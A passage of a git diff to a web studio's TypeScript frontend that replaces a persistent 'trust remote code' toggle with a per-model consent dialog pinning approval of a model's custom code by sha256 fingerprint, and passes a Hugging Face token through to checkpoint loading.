downloaded. */ context_length?: number | null; } diff --git a/studio/frontend/src/features/chat/utils/chat-settings-storage.ts b/studio/frontend/src/features/chat/utils/chat-settings-storage.ts index 309cf3df64..486288a04e 100644 --- a/studio/frontend/src/features/chat/utils/chat-settings-storage.ts +++ b/studio/frontend/src/features/chat/utils/chat-settings-storage.ts @@ -140,11 +140,7 @@ function sanitizeInferenceParams( if (typeof value.systemPrompt === "string") { params.systemPrompt = value.systemPrompt; } - if (typeof value.trustRemoteCode === "boolean") { - params.trustRemoteCode = value.trustRemoteCode; - } - // Mirror trustRemoteCode handling so the toggle survives reload - // and the /api/chat/settings round-trip. + // trustRemoteCode is no longer persisted: custom code is consented per model via the dialog. if (typeof value.fastMode === "boolean") { params.fastMode = value.fastMode; } diff --git a/studio/frontend/src/features/export/api/export-api.ts b/studio/frontend/src/features/export/api/export-api.ts index 58df511366..e6c51b1e36 100644 --- a/studio/frontend/src/features/export/api/export-api.ts +++ b/studio/frontend/src/features/export/api/export-api.ts @@ -54,6 +54,10 @@ export async function loadCheckpoint(params: { load_in_4bit?: boolean; /** Allow loading models with custom code. Only enable for checkpoints you trust. */ trust_remote_code?: boolean; + /** sha256 fingerprint pinning user approval of this exact custom-code version. */ + approved_remote_code_fingerprint?: string | null; + /** HF token so the worker scans/loads gated checkpoints and base models with the same auth as preflight. */ + hf_token?: string | null; }): Promise { const response = await authFetch("/api/export/load-checkpoint", { method: "POST", diff --git a/studio/frontend/src/features/export/export-page.tsx b/studio/frontend/src/features/export/export-page.tsx index e467b10d24..a1b2b49c2e 100644 --- a/studio/frontend/src/features/export/export-page.tsx +++ b/studio/frontend/src/features/export/export-page.tsx @@ -25,7 +25,6 @@ import { SelectValue, } from "@/components/ui/select"; import { Separator } from "@/components/ui/separator"; -import { Switch } from "@/components/ui/switch"; import { Spinner } from "@/components/ui/spinner"; import { Tooltip, @@ -37,6 +36,7 @@ import { type LocalModelInfo, useTrainingConfigStore, } from "@/features/training"; +import { confirmRemoteCodeIfNeeded } from "@/features/security"; import { useDebouncedValue, useHfModelSearch, @@ -129,8 +129,6 @@ export function ExportPage() { "checkpoint", ); const [modelSource, setModelSource] = useState<"hf" | "local">("hf"); - const [hfExportTrustRemoteCode, setHfExportTrustRemoteCode] = - useState(true); const [modelInput, setModelInput] = useState(""); const [selectedSourceModel, setSelectedSourceModel] = useState( null, @@ -490,13 +488,34 @@ export function ExportPage() { // 1. Load model source if (sourceMode === "checkpoint") { if (!checkpointPath) return; - await loadCheckpoint({ checkpoint_path: checkpointPath }); + await loadCheckpoint({ + checkpoint_path: checkpointPath, + hf_token: hfToken || null, + }); } else { + // Consent gate for an HF source's custom (auto_map) code: the only way to enable + // trust_remote_code here. A local checkpoint the user exported is trusted by default. + let trustRemoteCode = modelSource !== "hf"; + let approvedRemoteCodeFingerprint: string | null = null; + const remoteCodeOk = await confirmRemoteCodeIfNeeded({ + modelName: source, + hfToken: hfToken || null, + // An HF source can need trust_remote_code via its YAML default with no auto_map + // to review; signal it so a YAML-only model does not export with it false. + requiresTrustRemoteCode: modelSource === "hf", + onApprove: (fingerprint) => { + trustRemoteCode = true; + approvedRemoteCodeFingerprint = fingerprint; + }, + }); + if (!remoteCodeOk) return; + await loadCheckpoint({ checkpoint_path: source, load_in_4bit: false, - trust_remote_code: - modelSource === "hf" ? hfExportTrustRemoteCode : true, + trust_remote_code: trustRemoteCode, + approved_remote_code_fingerprint: approvedRemoteCodeFingerprint, + hf_token: hfToken || null, }); } @@ -578,7 +597,6 @@ export function ExportPage() { hfToken, privateRepo, modelSource, - hfExportTrustRemoteCode, ]); // ---- Render ---- @@ -868,43 +886,8 @@ export function ExportPage() {

)} -
- - - - - - - - Loads custom Python from the repo if the model - needs it. Turn off if you do not trust the - source. - - -
+ {/* No persistent "trust remote code" toggle: custom code is + consented per model via the load-time review dialog. */}